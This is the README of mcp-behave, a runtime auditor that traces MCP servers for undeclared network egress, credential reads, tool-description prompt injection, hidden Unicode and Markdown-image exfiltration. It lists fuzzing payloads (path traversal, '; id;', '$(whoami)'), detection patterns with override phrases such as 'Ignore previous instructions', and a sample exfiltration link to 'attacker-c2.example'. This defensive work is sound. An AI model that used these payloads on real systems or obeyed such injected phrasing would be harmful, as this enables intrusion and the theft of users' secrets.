
mcp-behave
io.github.navid72m/mcp-behave
Runtime behavioral auditor for MCP servers: scope-violation detection and runtime tracing
Documentation
mcp-behave
Runtime behavioral auditor for Model Context Protocol (MCP) servers
Runtime behavioral auditor for MCP servers. Runs an MCP server under
a runtime tracer (macOS dylib, Linux LD_PRELOAD, or strace), exercises
every tool / resource / prompt it advertises, and audits both system-level activity
(network egress, sensitive file access, subprocess execution) and CSA threat vectors
(metadata prompt injection, covert Unicode channels, client-side Markdown exfiltration).
Static scanners only read tool descriptions. mcp-behave observes what servers actually execute and return.

📖 Read the research article: Auditing Real-World MCP Servers with mcp-behave for an empirical audit comparing real-world packages and investigating known MCP vulnerability classes.
🏗️ Architecture & Systems Internals: See
ARCHITECTURE.mdfor module dependency, data-flow, and sequence diagrams of the audit pipeline.
The idea in one contrast
Compare three bundled targets in targets/:
honest_server.py: advertises a purely local note formatter and behaves honestly.leaky_server.py: advertises the exact same harmless note formatter, but secretly accesses SSH keys and phones home via network sockets.poisoned_server.py: never makes outbound connections, but poisons its descriptions with covert zero-width spaces and prompt injection, and returns an external Markdown image link () to trigger client-side HTTP GET exfiltration when rendered in a chat UI.
| Target | Network Egress | File System Access | Metadata & Output Safety | Verdict |
|---|---|---|---|---|
honest_server | none | none | clean | 0 (PASS) |
leaky_server | 93.184.216.34:80 | ~/.ssh/id_rsa (canary) | clean | 2 HIGH |
poisoned_server | none | none | prompt injection & Markdown exfil | 3 HIGH |
The honest server producing zero findings matters as much as detecting the malicious ones — false positives destroy trust.
Install & Quickstart
Run directly without manual installation:
# Via npx (Node.js ecosystem — zero install)
npx mcp-behave <server-command>
# Via uvx (Python ecosystem — zero install)
uvx mcp-behave <server-command>
Or install into your local environment:
# Via pip
pip install mcp-behave
# Via npm
npm install -g mcp-behave
Tracer Requirements
- macOS: Works natively without
straceor root using an injected dylib (DYLD_INSERT_LIBRARIES). Built automatically on first use withcc(Xcode Command Line Tools). - Linux: Works natively without
straceorSYS_PTRACEusing anLD_PRELOADshared library. Built automatically on first use withcc(e.g.gcc). If no compiler is available,straceis used as a fallback if installed onPATH. - Untraced mode: Run on any platform with
--no-tracefor manifest inspection and rug-pull checks without any runtime tracer.
Use
# Audit any stdio MCP server -- pass its launch command:
mcp-behave python -m mcp_server_fetch
mcp-behave npx -y @modelcontextprotocol/server-filesystem /tmp
mcp-behave uvx mcp-server-git
# Run untraced (manifest & rug-pull analysis only, no tracer needed):
mcp-behave --no-trace python -m mcp_server_fetch
# Machine-readable output for CI:
mcp-behave --json --fail-on high python -m mcp_server_fetch
# OASIS SARIF v2.1.0 output for GitHub Code Scanning:
mcp-behave --sarif python -m mcp_server_fetch > results.sarif
# Evaluate with objective CSA Security Scorecard & Letter Grade (A+ to F):
mcp-behave --scorecard python -m mcp_server_fetch
# Adversarial input fuzzing (path traversal, command injection, buffer boundary stress):
mcp-behave --fuzz python -m mcp_server_fetch
# Static manifest & schema linter (offline, no server execution):
mcp-behave lint ./manifest.json
cat ./tools.json | mcp-behave lint -
# Correlated Traffic & Syscall Inspector (real-time RPC-to-syscall timeline):
mcp-behave inspect python targets/leaky_server.py
# (or replay a previous audit output directory)
mcp-behave inspect /tmp/mcp_behave_out
# Connect to an already-running remote server (manifest analysis only,
# no syscall trace possible):
mcp-behave --transport sse http://localhost:8000/sse
Exit codes: 0 clean, 3 findings at or above --fail-on threshold,
2 tracer setup failed, 1 other error.
Useful flags
--no-trace— skip syscall tracing and run manifest analysis only.--tracer {auto,preload,dylib,strace,none}— choose tracer backend explicitly (defaultauto).--scorecard— print an objective 0–100 CSA Security Selection Scorecard with letter grade (A+toF).--fuzz— run adversarial input fuzzing against tool schemas (boundary mutations, path traversal, injection vectors).--config PATH— path to custom.mcpbehaverc.jsonconfiguration file.--json— emit findings as JSON on stdout.--sarif— emit findings as OASIS SARIF v2.1.0 on stdout (for GitHub Code Scanning / CI).--fail-on {never,info,high}— severity that triggers exit code 3 (defaulthigh).--no-dns— skip reverse-DNS lookups (faster, offline-safe).--timeout SECONDS— per-call timeout (default 15).--transport {stdio,sse,streamable-http}— remote transports skip syscall tracing.--out-dir PATH— wheremanifest.jsonandtrace.logare written.
Environment Variables
| Variable | Default | Description |
|---|---|---|
OUT_DIR | /tmp/mcp_behave_out | Directory where probe output (manifest.json and trace.log) is stored. |
TRACE_FILE | $OUT_DIR/trace.log | Path to the raw syscall trace log file. |
MCP_BEHAVE_CALL_TIMEOUT | 15 | Timeout in seconds per individual tool, resource, or prompt call during exercise. |
MCP_BEHAVE_STATE_DIR | $XDG_DATA_HOME/mcp-behave/manifests | Storage location for historical manifest hashes used in rug-pull detection. |
MCP_BEHAVE_DEBUG | (unset) | Set to 1 to print full Python tracebacks on probe failures. |
PROBE_NOISE_EXTRA | (empty) | Colon-separated path substrings to filter out as benign noise during trace analysis. |
MCP_BEHAVE_DASHBOARD_URL | (unset) | Target dashboard URL for mcp-behave push. |
MCP_BEHAVE_TOKEN | (unset) | API bearer token for mcp-behave push. |
Run as an MCP Server (Glama, Claude Desktop, Cursor)
mcp-behave can run as an MCP server exposing behavioral security tools to AI agents:
audit_server: Probes and dynamically audits another MCP server's behavioral footprint.inspect_manifest: Safely fetches and inspects advertised tools, resources, and prompts, and checks for rug-pulls.scan_client_configs: Scans local AI client configurations (Claude Desktop, Cursor, etc.) to discover installed MCP servers and audit their security posture.
# Start MCP server over stdio
npx mcp-behave serve
# or
uvx mcp-behave serve
Claude Desktop / Cursor / Cline Configuration
Add to your claude_desktop_config.json or Cursor MCP settings:
Option A: Using npx (No Python virtualenv setup needed)
{
"mcpServers": {
"mcp-behave": {
"command": "npx",
"args": ["-y", "mcp-behave", "serve"]
}
}
}
Option B: Using uvx
{
"mcpServers": {
"mcp-behave": {
"command": "uvx",
"args": ["mcp-behave", "serve"]
}
}
}
Glama & Registry Listing
mcp-behave is compatible with Glama and includes a root glama.json manifest. AI models can invoke audit_server to verify untrusted third-party MCP servers before interacting with them.
Scan Local Client Configurations (scan-configs & audit-configs)
mcp-behave can automatically discover and audit MCP servers configured in local AI clients (Claude Desktop, Cursor, VS Code / Cline / Roo Code, Windsurf, Zed):
# Discover configured servers & check for hardcoded secrets / over-privileged mounts:
mcp-behave scan-configs
# Scan a specific configuration file:
mcp-behave scan-configs --config path/to/claude_desktop_config.json
# Batch audit: discover all configured servers AND run live behavioral audits on each:
mcp-behave audit-configs
# (or: mcp-behave scan-configs --audit)
# Output findings in JSON for CI/automation:
mcp-behave scan-configs --json
What scan-configs Checks:
- Plaintext Secrets & API Keys: Scans environment variables and command arguments for OpenAI, Anthropic, GitHub, AWS, Slack, and generic high-entropy API tokens (with safe masking in reports).
- Over-Privileged Mounts: Flags servers granted unrestricted access to the root filesystem (
/) or home directory (~), or sensitive credential directories (~/.ssh,~/.aws). - Shell Command Wrappers: Detects servers executed via raw shell interpreters (
bash -c,sh -c,powershell -c). - Unpinned Packages: Identifies
npx/uvxservers without version pins that pull untracked latest updates. - Live Behavioral Verification: When
--auditis passed (or viaaudit-configs), boots each server in isolation to verify actual system call behaviors (network egress, sensitive file reads, covert prompt injection).
Correlated Traffic & Syscall Inspector (mcp-behave inspect)
Inspired by the CSA MCP Security Inspection framework, mcp-behave inspect runs an MCP server and displays a unified, chronological timeline connecting high-level JSON-RPC protocol messages directly to the underlying operating system syscalls they trigger:
# Run and inspect a server in real time:
mcp-behave inspect python targets/leaky_server.py
# Or replay and correlate a previous audit output directory:
mcp-behave inspect /tmp/mcp_behave_out
======================================================================
MCP BEHAVIORAL INSPECTOR (Correlated Traffic & Syscall Stream)
======================================================================
Target Server: python targets/leaky_server.py
Syscall Trace: Active
Tools Exposed: 1 declared tool(s)
----------------------------------------------------------------------
[PHASE 1: INITIALIZATION & HANDSHAKE]
[RPC] -> initialize(protocolVersion="2024-11-05")
[RPC] <- initialized()
[RPC] -> tools/list() (1 tools returned)
[PHASE 2: CAPABILITY EXECUTION]
▶ tools/call "format_note"
[!] VIOLATION: file ~/.ssh/id_rsa
[!] VIOLATION: network 93.184.216.34:80
[RPC] <- response text: "# Note content"
======================================================================
VERDICT: POLICY FINDINGS DETECTED
[!] HIGH network egress to 93.184.216.34:80 -- but a description claims local/offline operation
[!] HIGH read a sensitive path: ~/.ssh/id_rsa
======================================================================
CSA Security Selection Scorecard (--scorecard)
Provides an objective 0–100 numerical rating and letter grade (A+ to F) based on the Cloud Security Alliance (CSA) Selection Scorecard:
- Runtime Safety (40 pts): Penalizes undeclared network egress (-20 pts), sensitive filesystem credential reads (-20 pts), and unauthorized subprocess shells (-5 pts).
- Metadata Hygiene (25 pts): Penalizes tool description prompt injection (-10 pts), zero-width covert Unicode (-10 pts), and terminal ANSI sequences (-10 pts).
- Output Safety (20 pts): Penalizes client-side HTTP GET image exfiltration (-15 pts), output prompt injection (-10 pts), and output ANSI/covert channels (-5 pts).
- Surface Integrity (15 pts): Penalizes silent manifest rug-pulls (-10 pts) and misleading local/offline claims (-5 pts).
mcp-behave --scorecard python targets/honest_server.py
============================================================
MCP SECURITY SELECTION SCORECARD (CSA Standard)
============================================================
Overall Score: 95 / 100
Security Grade: [ A+ ] (PASSED)
------------------------------------------------------------
Category Breakdown:
• Runtime System Safety : 35 / 40 (-5 pts)
- -5 pts: Spawns child subprocess or system command shell
• Metadata Hygiene : 25 / 25 (Pass)
• Output Safety : 20 / 20 (Pass)
• Surface & Integrity : 15 / 15 (Pass)
============================================================
Scorecard metrics (mcpSecurityScore, mcpSecurityGrade, mcpPassed) are also automatically embedded into --sarif and --json outputs for automated CI gatekeeping.
Adversarial Schema Fuzzing (--fuzz)
Instead of only synthesizing benign placeholder arguments, passing --fuzz automatically exercises tools against adversarial boundary vectors:
- Path traversal strings:
../../../../etc/passwd,..\..\..\..\Windows\win.ini - Command & shell injection:
; id;,| id,$(whoami),`id` - Format string & crash payloads:
%s%s%s%s%s%s,\x00\x00\x00 - Buffer stress: Long repeating strings (4KB boundary test)
- Numeric & boolean boundary tests:
0,-1,2147483647,1e308,NaN,true,false
mcp-behave --fuzz python -m mcp_server_fetch
Static Manifest Linter (mcp-behave lint)
Audit static MCP manifests, tool definitions, resources, and prompt definitions completely offline without executing or spawning any server process:
# Lint a manifest file:
mcp-behave lint path/to/manifest.json
# Lint a tools list or piped JSON stream:
cat tools.json | mcp-behave lint -
# Emit SARIF for pull request annotations or JSON for CI gatekeeping:
mcp-behave lint ./manifest.json --sarif > lint.sarif
mcp-behave lint ./manifest.json --json --scorecard
Complete Security & Linting Rule Catalog
mcp-behave provides 100% full coverage of the static security and hygiene rules from ModelContextProtocol-Security/MCP-audit, paired with deep dynamic runtime syscall tracing:
| Rule ID | Severity | Category | Description |
|---|---|---|---|
MCP001 | HIGH | Permissions | Destructive tool (delete, remove, drop, wipe, purge) lacks explicit confirmation or scope argument (confirm, force, dry_run). |
MCP002 | HIGH | Permissions | Arbitrary command or code execution tool detected (exec, execute, spawn, shell, bash, run_command, system). |
MCP003 | INFO | Permissions | Mutating tool (write, update, create, modify, patch) declares zero input properties, leaving its effect unbounded. |
MCP004 | HIGH | Permissions | Mutating or destructive tool advertises readOnlyHint: true (auto-approval bypass risk in AI clients). |
MCP010 | INFO | Schema | Tool is missing an input schema or declares zero input properties. |
MCP011 | INFO | Schema | Schema explicitly enables additionalProperties: true (parameter smuggling risk). |
MCP012 | INFO | Schema | Free-form string argument with no enum, pattern, format, or maxLength bounds. |
MCP013 | INFO | Schema | Object schema declares properties but omits the required list (all arguments optional). |
MCP020 | HIGH | Injection | Tool or prompt description contains prompt-injection phrasing (ignore previous, system prompt:, override). |
MCP021 | INFO | Injection | Tool description advertises overly broad capability (anything, any command, arbitrary, unrestricted, full access). |
MCP022 | INFO | Injection | Tool description contains cross-tool chaining directives (then call X, next run Y). |
MCP030 | HIGH | Secrets | Resource exposes secrets or sensitive system paths (.env, id_rsa, .ssh, .aws, /etc/shadow, .kube/config). |
MCP031 | HIGH | Secrets | File or path argument accepts unconstrained strings without pattern or enum boundaries (directory traversal). |
MCP032 | HIGH | Secrets | Tool parameter schema embeds hardcoded credentials in default, const, or examples (sk-, ghp_, AKIA). |
MCP040 | HIGH | Transport | HTTP/SSE transport accepts connections without authentication token or header. |
MCP041 | INFO | Transport | Tool argument accepts caller-controlled URLs without host allowlist or regex pattern constraints (SSRF risk). |
MCP050 | INFO | Metadata | Server instructions leak internal details or sensitive terms (localhost, 127.0.0.1, internal, staging, debug). |
MCP051 | INFO | Metadata | Server does not report a version string in serverInfo for vulnerability tracking. |
MCP060 | HIGH | Hygiene | Duplicate tool names declared across server surface (tool shadowing risk). |
MCP061 | INFO | Hygiene | Excessive number of tools declared (>40 tools, capability sprawl expanding agent attack surface). |
MCP062 | INFO | Hygiene | Undocumented tool declared with empty or missing description. |
MCP101 | HIGH | Runtime | Undeclared network socket connection to remote host detected via runtime syscall interposition. |
MCP102 | HIGH | Runtime | Unauthorized read of confidential local file (id_rsa, .env, .aws, /etc/shadow). |
MCP103 | INFO | Runtime | Undeclared child subprocess spawned during tool execution. |
MCP104 | HIGH | Runtime | Advertised manifest hash changed compared to historical baselines (rug-pull detection). |
MCP105 | HIGH | Covert | ANSI terminal escape sequences detected in metadata or tool outputs. |
MCP106 | HIGH | Covert | Zero-width spaces, invisible Unicode, or BiDi overrides detected in metadata or tool outputs. |
MCP107 | HIGH | Exfiltration | Markdown or HTML external image link in tool output (causes client-side HTTP GET exfiltration). |
MCP108 | HIGH | Config | Hardcoded API keys or plaintext credentials in client configuration files (claude_desktop_config.json, Cursor). |
MCP109 | HIGH | Config | Over-privileged root (/) or confidential home directory mount in client configuration. |
Configuration & Policy Suppression (.mcpbehaverc.json)
Drop a .mcpbehaverc.json (or .mcpbehaverc) in your project root to customize rule enforcement, suppress known exceptions, or override finding severities:
{
"fail_on": "high",
"disabled_rules": ["MCP014", "additionalProperties"],
"severity_overrides": {
"spawned subprocess": "HIGH",
"network egress": "INFO"
},
"ignore": [
"legacy_tool_name",
"fetch_url.note"
],
"timeout": 20.0,
"no_dns": false
}
You can also pass an explicit configuration file via the --config <path> flag across both live auditing and static linting:
mcp-behave --config ./security-policy.json python -m mcp_server_fetch
mcp-behave lint ./manifest.json --config .mcpbehaverc.json
Push results to a dashboard
mcp-behave push uploads a JSON audit result to an
mcp-behave dashboard.
# 1. Sign in at https://<your-dashboard>.vercel.app/settings and mint a token.
export MCP_BEHAVE_DASHBOARD_URL=https://<your-dashboard>.vercel.app
export MCP_BEHAVE_TOKEN=mcpb_...
# 2. Audit something with --json and pipe it to push.
mcp-behave --json python -m mcp_server_fetch \
| mcp-behave push --server-name server-fetch --category network
# Or save to a file first, then push.
mcp-behave --json python -m mcp_server_fetch > audit.json
mcp-behave push audit.json --server-name server-fetch --category network
Flags worth knowing:
--server-name NAME— canonical name on the dashboard. Defaults to the joined server command from the audit JSON; usually you want to set this.--description TEXT— used the first time this server is submitted.--github-url URL,--npm-package PKG,--author NAME— optional server metadata.--category {local,network,database,other}— defaults toother.--dry-run— print the JSON payload that would be POSTed and exit.
The endpoint is rate-limited per token (20 req/min); push exits 1 on HTTP error
and prints the response body to stderr.
What it detects
Findings are framed as observations ("does X, undeclared"), never accusations.
1. System-Level Behavioral Deviations (Runtime Traced)
- Undeclared network egress — IP:port socket connections opened during probe execution (reverse-DNS resolved in findings when available). Flagged
HIGHif manifest claims local/offline operation,INFOotherwise. - Sensitive-path reads — accesses to private credentials, keys, and environment files (
~/.ssh/*,~/.aws/*,~/.env,~/.netrc,~/.kube/*,/etc/shadow, etc.). FlaggedHIGH. - Subprocess execution — child binaries spawned by the server process (e.g.,
/bin/sh,curl,python). FlaggedINFO.
2. Manifest Integrity & Rug-Pull Detection
- Rug-pull alerts — detects if the declared manifest hash (
tools,resources,prompts) silently changes between runs of the same server (e.g., modifying descriptions after user approval). FlaggedHIGH. Hashes persist under$XDG_DATA_HOME/mcp-behave/manifests/.
3. CSA MCP Working Group Threat Catalog (TTPs)
- Covert Channel & Metadata Injection (CSA TTP: Tool Description Poisoning) — scans tool names, tool/parameter descriptions, resource URIs, and prompt metadata for:
- ANSI terminal escape sequences (
\x1b[...],\033[...]) used for terminal/display manipulation. - Invisible & zero-width Unicode characters (
\u200B,\u200C,\u200D,\uFEFF,\u2060), BiDi direction overrides (\u202A–\u202E,\u2066–\u2069), and Unicode tag characters (0xE0000–0xE007F). - Direct prompt injection patterns (e.g.,
Ignore previous instructions,SYSTEM PROMPT:,<system>,[system instruction],you must always call this tool first).
- ANSI terminal escape sequences (
- Tool Output Safety & Markdown Exfiltration (CSA TTP: Output Prompt Injection / Data Exfiltration) — exercises tools and audits response payloads for:
- External Markdown images (
) and HTML<img src="...">tags that trigger silent client-side HTTP GET data exfiltration when rendered in chat interfaces. - Covert ANSI sequences, invisible Unicode payloads, and prompt injection directives embedded in tool response text.
- External Markdown images (
Example Output
mcp-behave python targets/poisoned_server.py
=== STEP 1: observe (macos-dylib) ===
[probe] discovered 1 tool(s)
[probe] calling tool notes_analyzer({"note": "canary-input"})
[probe] manifest -> /tmp/mcp_behave_out/manifest.json
[probe] trace -> /tmp/mcp_behave_out/trace.log
=== STEP 2: declared-vs-observed diff ===
target tools: notes_analyzer
resources: 0, prompts: 0
declared scope hints: none
--------------------------------------------------------
[!] HIGH invisible/zero-width Unicode or BiDi override detected in tool 'notes_analyzer' description (zero-width space): covert prompt injection risk
[!] HIGH prompt injection pattern detected in tool 'notes_analyzer' description: 'Ignore previous instructions'
[!] HIGH tool 'notes_analyzer' returned external image link 'https://attacker-c2.example/exfiltrate?leak=secret_token_12345' -- potential client-side data exfiltration
[i] INFO spawned subprocess: /path/to/python
Docker (works on macOS / Windows hosts)
docker build -t mcp-behave .
# default: runs the bundled leaky target so you can see findings immediately
docker run --rm mcp-behave
# point at a real server
docker run --rm mcp-behave python -m mcp_server_fetch
The container automatically compiles and runs the native LD_PRELOAD tracer
without needing --cap-add=SYS_PTRACE. If you explicitly use --tracer strace,
--cap-add=SYS_PTRACE is required.
The image bundles Node.js (for npx servers), uv (for uvx servers), and
sandbox canary files (sandbox_home/) mounted as $HOME so credential reads
are detectable.
Development
pip install -e ".[test]"
pytest -v
CI tests across Ubuntu and macOS; see .github/workflows/ci.yml.
Known limits
- Runtime tracing operates at libc interposition level. macOS (DYLD interposition) and Linux (LD_PRELOAD) intercept standard dynamic runtime library calls (Python, Node.js, Ruby). Statically linked binaries (e.g. Go, musl Rust) and inline assembly syscalls bypass libc interposition unless run under the Linux
stracetracer (--tracer strace) or the planned kernel eBPF backend — see ROADMAP.md. - stdio is the primary transport with full runtime tracing.
sseandstreamable-httpconnect to remote servers where client-side process tracing is not available; manifest analysis, CSA rule linting, and rug-pull detection run there. - Canary & Fuzzing synthesis — generates realistic, diverse arguments across
--probe-roundsand adversarial boundary vectors with--fuzz. Full property-based hypothesis fuzzing is planned for v0.4.x.
License
MIT. See LICENSE.
mcp-behavepip install mcp-behavemcp-behavenpm install mcp-behave